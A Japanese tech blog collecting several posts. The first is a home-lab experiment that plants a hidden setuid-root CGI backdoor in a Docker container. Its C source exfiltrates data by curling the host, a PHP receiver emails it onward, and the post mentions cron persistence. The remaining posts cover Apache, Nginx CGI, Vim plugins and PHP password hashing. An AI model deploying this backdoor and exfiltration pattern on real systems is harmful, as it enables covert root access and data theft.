ホスト-コンテナ間でバックドア設置の簡単実験

概要

練習がてらで、ホストと docker によって構築したコンテナとの間で、簡単なバックドアの設置、および情報送信の簡単な実験を行う。

ホストとコンテナの概要

ホスト : macOS Catalina 10.15.7(攻撃者の環境) コンテナ : CentOS8(攻撃対象の環境)

シナリオ

  1. 攻撃者が何かしらの手段で、攻撃対象の環境に侵入成功、バックドアを設置した。
  2. バックドアでは、setuid(0) にし、root 権限で実行される(重要な機微情報を不正取得など)。
  3. バックドアは自ら、不正取得した機微情報を攻撃者の環境に情報送信。
  4. 攻撃者の環境では、バックドアから受信したら、自動的に攻撃者にメール送信。

使う技術の整理

コンテナからホストへの通信

$ curl http://host.docker.internal:[port]

説明:「http://host.docker.internal:」部分は固定で、[port]は、ホスト側の受信ポート。

なお、コンテナから自身への通信する場合は、

$ curl  http://[コンテナID]:[コンテナ側port]

例えば、私の macOC 上に構築したコンテナの場合は、以下のようになっている

$ docker ps -a
CONTAINER ID   IMAGE            COMMAND        CREATED        STATUS        PORTS                  NAMES
af6b538f8bee   centos:centos8   "/sbin/init"   5 months ago   Up 10 hours   0.0.0.0:80->8080/tcp   centos8

ため、次のように、コンテナから自身の 8080 ポートにアクセスできる

$ curl http://af6b538f8bee:8080
<html>
<body>
Hello, World!
</body>
</html>

同じ結果を、ホストから次のようにアクセスして取得できる

$ curl http://localhost[:80]
<html>
<body>
Hello, World!
</body>
</html>

なぜならば、ホストとコンテナ間は、「ホスト側のポート番号 -> コンテナ内のポート番号」には、以下のようになっている、つまり

0.0.0.0:80->8080/tcp 

ホストから 80 ポートへのアクセスをコンテナの 8080 ポートにマッピングする意味。

実験の詳細

バックドアの設置

攻撃対象の環境に web server が起動され、cgi プログラムが利用可能と仮定する。また、攻撃者が以前不正侵入した時に、以下のような cgi プログラムを設置したと仮定する。

$ ls -la /usr/share/nginx/cgi-bin/.exploit
-rwsr-xr-x 1 root root 12856  4月 11 00:26 /usr/share/nginx/cgi-bin/.exploit

上から、.exploit の cgi プログラムの以下のことが見て分かる

  • 所有者が root
  • 実行する際に、所有者 root の権限で実行することが可能になる(rwsr-xr-x)

上記 .exploit プログラムのソースコード(実験のため、簡易的ものになっている)

vim /usr/share/nginx/cgi-bin/.exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
    setuid(0);
    char buf[1024]; // 実験のため、簡易的に
    // root権限で何かしら重要な機微情報を不正取得
    char *info = "This%20is%20very%20sensitive%20personal%20informations";
    snprintf(buf, 1024, "curl http://host.docker.internal:[port]/[受信プログラム]?msg=%s", info);
    system(buf);
}

※buf に入れる文字列は一部加工している(実際のプログラムとは異なる)
※port : ホスト側で httpd の待受(LISTEN)ポート番号

バックドアからの情報送信

攻撃者の環境(ホスト)から、攻撃対象の環境(コンテナ)にあるバックドアにアクセス(遠隔操作)する

$ curl http://localhost[:80]/cgi-bin/.exploit

この例は、ホスト側からのキックでバックドアに情報送信させるが、攻撃対象の環境の外から内への通信 が遮断されることを想定し、攻撃者は予めバックドアから自動送信できるよう、root ユーザで at や crontab などで定期ジョブを仕込んで、コンテナ内で cgi プログラムを実施し、ホストに情報送信する可能性も考えられる。

攻撃者への自動メール送信

バックドアからの情報受信ができたら、後は攻撃者が好きのようにできる。今回の実験では、攻撃者に自動メール送信することにした。以下が情報受信と自動メール送信を一緒にしたプログラムの例。

実験のため、文字列のエンコード等の処理は省いている。

$ cat blackhole.php
<?php
    $msg = "待機中";
    if (isset($_REQUEST['msg'])) {
        $msg = $_REQUEST['msg'];
    }

    // send mail
    mb_language("Japanese");
    mb_internal_encoding("UTF-8");

    $to = "xxxxx@yyyyy.com";  <= ダミーデータ
    $title = "情報あり!";
    $message = "[$msg]";
    $headers = "From: backdoor@centos8";

    if (mb_send_mail($to, $title, $message, $headers)) {
        echo "Send mail succeed";
    } else {
        echo "Send mail failed";
    }
?>

実験の結果

シナリオ通りに、攻撃対象の環境(コンテナ)から情報が送信され、攻撃者の環境(ホスト)が受信し、攻撃者の元にメールが自動送信される実験結果が確認できた。

以上。

特別感謝

macOS ローカルに apache の立てる

概要

macOSapache の Web Serverを立てるメモ書き。

環境

OS : macOS Catalina 10.15.7
入っている httpdphp のバージョン

$  httpd -v
Server version: Apache/2.4.41 (Unix)
$ php -v
PHP 7.3.11 (cli) (built: Jun  5 2020 23:50:40) ( NTS )

これらをそのまま使う。

ポート

macOS に docker で CentOS8 のコンテナを作って、ホスト:80 <=> コンテナ:8080
マッピングしているため、macOS に立てるWebサーバに 8888 ポートを使うことにする。
つまり、http://localhost:8888 である。

手順

apache の起動と動作確認

apache を起動

$ sudo apachectl start
$ ps auxww | grep httpd

プロセスが立ち上がらない。。なぜだ
いろいろ考えた結果、同時に CentOS8 のコンテナが起動されて、コンテナ内で nginx の
Web Server が立ち上がっているため、ホスト側ではすでに 80/tcp が Listen 状態になっている。

$ netstat -na | grep "*.80" | grep LISTEN
tcp46      0      0  *.80                   *.*                    LISTEN

なので、httpd.conf を変更して、80 の Listen を 8888 に変更する。

httpd.conf の変更

vim /etc/apache2/httpd.conf

ポート変更
<IfDefine SERVER_APP_HAS_DEFAULT_PORTS>
    Listen 8080
</IfDefine>
<IfDefine !SERVER_APP_HAS_DEFAULT_PORTS>
#    Listen 80
    Listen 8888
</IfDefine>
php を使えるようにする

下記1行のコメントアウトを外す。

#LoadModule php7_module libexec/apache2/libphp7.so
↓
LoadModule php7_module libexec/apache2/libphp7.so
apache を起動する
$ sudo apachectl start
$ ps auxww | grep httpd
$ ps auxww | grep httpd | grep -v grep
_www   78894   0.0  0.0  4329508   1032   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78893   0.0  0.0  4329508   1028   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78892   0.0  0.0  4329508   1272   ??  S     9:04PM   0:00.00 /usr/sbin/httpd -D FOREGROUND
_www   78885   0.0  0.0  4345892   2008   ??  S     9:04PM   0:00.01 /usr/sbin/httpd -D FOREGROUND
root      78881   0.0  0.1  4329536   8636   ??  Ss    9:04PM   0:00.30 /usr/sbin/httpd -D FOREGROUND

ブラウザから http://localhost:8888 にアクセスすると

f:id:lgx:20210410212026p:plain:w300

DocumentRoot

macOS では、ドキュメントルートは /Library/WebServer/Documents である。

毎回ドキュメントルート配下に作るのは、拡張性と利便性に乏しいため、ユーザディレクトリを有効化する。

ユーザディレクトリを有効化

vim /etc/apache2/httpd.conf 下記2行のコメントアウトを削除する。

#LoadModule userdir_module libexec/apache2/mod_userdir.so
↓
LoadModule userdir_module libexec/apache2/mod_userdir.so

#Include /private/etc/apache2/extra/httpd-userdir.conf
↓
Include /private/etc/apache2/extra/httpd-userdir.conf

次に、vim /etc/apache2/extra/httpd-userdir.conf、次の行のコメントアウトを削除

#Include /private/etc/apache2/users/*.conf
↓
Include /private/etc/apache2/users/*.conf

ホームディレクトリに「Sites」ディレクトリの作成

すでに作成済の場合は不要

$ mkdir -p ~/Sites

{user}.conf の作成

ここでの {user} は、サーバのユーザ名のこと。自分は liu なので、次のように作成する。
※注 : macOS には、すでに作成されていたが、内容を変更する。

$ sudo vim /etc/apache2/users/liu.conf
<Directory "/Users/liu/Sites/">
    Options Indexes MultiViews
    Require all granted
</Directory><Directory "/Users/liu/Sites/">
   AddType text/html .shtml .html
   AddHandler server-parsed .shtml .html
   Options Indexes MultiViews FollowSymlinks Includes
   AllowOverride all
   Require all granted
</Directory>
ユーザディレクトリの動作確認

~/Sites 配下に、vim phpinfo.php

<?php
    phpinfo();
?>

最終動作確認

httpd を再起動する $ sudo apachectl restart

ブラウザから http://localhost:8888/~liu/phpinfo.php にアクセスする

f:id:lgx:20210410220055p:plain:w600

問題なく予定通りの動作確認ができた。

httpd 自動起動するように設定

$ sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist
/System/Library/LaunchDaemons/org.apache.httpd.plist: service already loaded

特別感謝

Nginx で CGI が実行できるようにする

TL;DR

CentOS8のコンテナ環境があり、そこにNginxをインストールしたが、デフォルトではCGIが実行できない。 今回はCGIが実行できるようにするために、環境設定を行う。

fcgiwrap のインストール

標準リポジトリに無いようなので、EPEL からインストール。

# dnf -y install epel-release
~~省略~~
Installed:
  epel-release-8-8.el8.noarch

Complete!
# dnf --enablerep=epel -y install fcgiwrap
~~省略~~
Installed:
  fcgi-2.4.0-36.el8.x86_64          fcgiwrap-1.1.0-12.20181108git99c942c.el8.x86_64

Complete!

Nginx の設定

/etc/nginx/fcgiwrap.conf を新規作成し、[/cgi-bin] 配下は CGI を有効にする

location /cgi-bin/ {
    gzip off;
    root  /usr/share/nginx;
    fastcgi_pass  unix:/var/run/fcgiwrap.socket;
    include /etc/nginx/fastcgi_params;
    fastcgi_param SCRIPT_FILENAME  $document_root$fastcgi_script_name;
}

必要なディレクトリ作成と権限設定

# mkdir /usr/share/nginx/cgi-bin
# chmod 755 /usr/share/nginx/cgi-bin

設定をしたいサイト定義の [server] セクション内に追記
vim /etc/nginx/conf.d/default.conf

server {
    listen       ......
    server_name  ......
    include fcgiwrap.conf;
}

Nginx をリスタート

# systemctl restart nginx

FastCGI Wrap サービス用の Systemd ファイルを作成して起動する

/usr/lib/systemd/system/fcgiwrap.service を新規作成する

[Unit]
Description=Simple CGI Server
After=nss-user-lookup.target
Requires=fcgiwrap.socket

[Service]
EnvironmentFile=/etc/sysconfig/fcgiwrap
ExecStart=/usr/sbin/fcgiwrap ${DAEMON_OPTS} -c ${DAEMON_PROCS}
User=nginx
Group=nginx

[Install]
Also=fcgiwrap.socket

/usr/lib/systemd/system/fcgiwrap.socket を新規作成する

[Unit]
Description=fcgiwrap Socket

[Socket]
ListenStream=/run/fcgiwrap.socket

[Install]
WantedBy=sockets.target

# 起動する
# systemctl enable --now fcgiwrap
Created symlink /etc/systemd/system/sockets.target.wants/fcgiwrap.socket → /usr/lib/systemd/system/fcgiwrap.socket.

テストCGIページ作成

/usr/share/nginx/cgi-bin/index.cgi を新規作成する。

#!/usr/bin/python3

print("Content-type: text/html\n")
print("<html>\n<body>")
print("<div style=\"width: 100%; font-size: 40px; font-weight: bold; text-align: center;\">")
print("CGI Script Test Page")
print("</div>")
print("</body>\n</html>")

ブラウザからhttp://localhost/cgi-bin/index.cgi f:id:lgx:20210410161619p:plain:w600

問題なくできた。

特別感謝

CentOS 8 : Nginx : CGI スクリプトを利用する : Server World

Installing Google Translate to Vim

TL;DR

Things to do:
* Install Google Translate to Vim

My environment:
* macOS Catalina 10.15.7

Google Translate

soimort/translate-shell

Dependencies

Installation

$ which gawk
$ brew install gawk
  • translate-shell
$ cd /usr/local/share
$ git clone https://github.com/soimort/translate-shell
$ cd translate-shell/
$ make
$ sudo make install
$ which trans
/usr/local/bin/trans
Plug 'echuraev/translate-shell.vim'
  • Creating key mapping for these commands e.g
nnoremap <silent> <leader>t :Trans<CR>
vnoremap <silent> <leader>t :Trans<CR>
nnoremap <silent> <leader>tc :Trans :zh<CR>
vnoremap <silent> <leader>tc :Trans :zh<CR>

Translation

In Bash

action example explanation
basic usage $ trans -s=zh -t=ja "你好吗?" same with $ trans zh:ja "你好吗?""
auto identify $ trans :zh "How are you!" en to zh
brief mode $ trans -b :ja "How are you!" お元気ですか?
dictionary mode $ trans :en word used as a dictionary
language identification $ trans -id 世界你好 简体中文
Text-to-Speech $ trans -b -p :zh "Saluton, Mondo" -play (-p) option to listen to the translation
Text-to-Speech $ trans -sp "你好,世界" -speak (-sp) option to listen to the original text
Terminal Paging $ trans -d -v word -view (-v) option to view the translation in a terminal pager such as less or more
Pipeline, Input and Output echo "Hello world" | trans -b :zh or $ trans -b -i input.txt :ja
Translate a File $ trans :ja file://input.txt Brief mode is used when translating from file URI schemes
Translate a Web Page $ trans :zh https://www.yahoo.co.jp Default broswer is launched and contents are translated while browsing
Translate a Web Page $ trans -browser firefox :ja http://www.w3.org/ The specified broswer is launched and contents are translated while browsing
Interactive Translate Shell (REPL) $ trans -shell [en:zh] Start an interactive shell using the -shell (or -I) option

In Vim

  • Translate a word under cursor
    Using <Leader>t likes

f:id:lgx:20210122230643p:plain:w400

  • Translate some lines in visual mode
    The following example is using <Leader>tc to translate to Chinese.

f:id:lgx:20210122231058p:plain:w500

  • Translate something via shell mode in Vim Command :!trans -b "Peace begins with a smile." will show the following result
平和は笑顔から始まります

続けるにはENTERを押すかコマンドを入力してください

Summary

It is easy to install Google Translate to bash and Vim, and it's convenience to translate a word or some lines to any language you like, either in bash or Vim. It will make anyone more efficiently to to their work.

I like Vim and Google!

PreVimでPlantUMLをPreviewできるようにする

概要

以前、このブログで、Google Chrome拡張機能を使って、PlantUMLのシーケンス図を書く記事を書きました。すごく便利ですが、Chrome拡張機能が必要なので、環境によっては使えない方法でした。

今日は、previmという素晴らしいPluginを見つけたので、これの利用方法を書いておきます。

何のPluginか

プレビュー用のVimプラグインです。

何ができるか

インストール方法

vimの設定

.vimrcに以下を追加(vim-plugの場合)

call plug#begin('~/.vim/plugged')
...省略...
Plug 'godlygeek/tabular'
Plug 'plasticboy/vim-markdown'
Plug 'previm/previm'
...省略...
call plug#end()

let g:previm_open_cmd = 'open -a Safari'
nnoremap <Leader>p :PrevimOpen<CR>
let g:vim_markdown_folding_disabled = 1
let g:previm_enable_realtime = 1

上記設定により、filetypeがMarkdownのファイル(拡張子がmd)を編集する時に、コマンドで:PrevimOpen を実行すればSafariにてほぼリアルタイムで確認することが可能となる。

ブラウザの設定

.vimrcではプレビューにSafariを使う設定したため、Safariブラウザに次のように設定変更する 1. メニューバーの Safari > 環境設定 > 詳細 > メニューバーに"開発"メニューを表示にチェック 1. メニューバーの 開発 > ローカルファイルの制限を無効にする を選択

動作確認

PlantUMLのマインドマップを買いてみる

@startmindmap
+[#orange] 人
++[#pink] 女
++[#lightblue] 男
++[#lightgreen] その他
@endmindmap

Safari上では、以下のように表示される。

f:id:lgx:20210111010151p:plain:w200

まとめ

previmプラグインを使えれば、普通のブラウザで簡単にVimでPlantUMLを含めた形式の画像をプレビューすることができた。今後自分がはてなブログVimで書きながらプレビューで確認できるようになったため、超楽になります。

参考資料

PHPのpassword_hashによるパスワードハッシュ化

TL;DR

password_hash() は crypt() よりも簡単に強力なパスワードハッシュを作ることができる、 crypt() のラッパーであり上記互換性を持つ。
今回はこの関数によるハッシュ化の特徴をみていくことにする。

特徴

  • サポートしている暗号化アルゴリズム
    • PASSWORD_DEFAULT → bcrypt アルゴリズムでハッシュかする
    • PASSWORD_BCRYPT → CRYPT_BLOWFISH アルゴリズムでハッシュ化する
    • PASSWORD_ARGON2I → Argon2 を有効にしてコンパイルした場合のみ利用可能
    • PASSWORD_ARGON2ID → Argon2 を有効にしてコンパイルした場合のみ利用可能
  • ソルト
    PHP 7.0.0 以降、ソルトの自動生成が推奨された(より安全に)。
  • cost 2桁のコストパラメータは反復回数(ストレチング)の2を底とする対数で、値は 04 から 31 の範囲にいる必要があり、 それ以外の値の場合は crypt() は失敗。
    つまり、costデフォルトの10は、210 = 1024 回のストレチングになる。
  • ハッシュ値に、ソルトやcost等の値が付いている(ソフト付きパスワードハッシュ値

検証関数

password_verify() を利用し、生のパスワードとパスワードハッシュ値をパラメータにとり、パスワードがマッチするかを検証(true or false)。 * アルゴリズムやソルト値、cost等を知らなくてよい
パスワードハッシュ値にすべて含まれているため、別の場所から取得する必要がない。 * タイミング攻撃に対して安全(のようだ)

動作確認

<?php

$password = "abcdefg1234";

// Blowfishでパスワードハッシュを作る
$hashedPassword = password_hash($password, PASSWORD_BCRYPT);

// 検証
if (password_verify($password, $hashedPassword)) {
    echo "hashedPassword=$hashedPassword" . "\n";
    echo "Hash match ok!\n";
}

?>

まとめ

crypt() では、開発者がアルゴリズム、ランダムなソルト、cost値を指定する必要があり、バグると、脆弱なハッシュ化処理になってしまう可能性はあるが、password_hash() ではcrypt() のラッパーとして、ほとんどの部分を中で自動指定されるようになったことで、より簡単に安全なハッシュ化処理を実現できる。

crypt() ではなく、password_hash() を使うべし。

Vimでファイルを暗号化

概要

Vimでファイルに暗号化して保存することができる。

操作方法

開く時に暗号化

$ vim -x file

開いたvim画面では、

f:id:lgx:20210103123437p:plain:w450

よくあることで、2回パスワードを聞かれる。
編集して、保存した後に、同じファイルを開くと、次のようにパスワードの入力を求める。

f:id:lgx:20210103124013p:plain:w450

編集中に暗号化する

:Xコマンドすると、パスワードを求める画面が表示され、同じく2回入力すれば暗号化される。

パスワードを変更する

$ vim +X file

現在のパスワードの入力を求められて、正しく入力すると、新しいパスワードを求める画面が出る(同じく2回)

f:id:lgx:20210103124636p:plain:w450

暗号化を解除

新しいパスワードを未入力にすることで解除できる。

暗号化のタイミング

実際に暗号化が行われるのはファイル保存時、書き込みせずに強制終了したら暗号化は適用されない。

暗号化方式

:set cryptmethodで分かる、vim8.2では cryptmethod=blowfish2 になっている。

参考資料:Vimとセキュリティ問題 - Vim と暗号化機能 | 株式会社創夢 — SOUM/misc
によると、以下のような方式がある(あった)

cryptmethod 解説
zip Pkzip 互換の暗号化方式。使用するべきではない。
blowfish blowfish というブロック化暗号方式。Vim 7.3 以上が必要。脆弱性が報告されている。使用するべきではない。
blowfish2 blowfish というブロック化暗号方式。Vim 7.4.399 以上が必要。暗号化シードを毎回再生成する。

blowfishについて

参考資料:Blowfish - Wikipedia
によると、blowfishは64bit単位ブロック暗号の共通暗号化方式であり、鍵長は32ビットから448ビットまでの可変長で、ライセンスフリー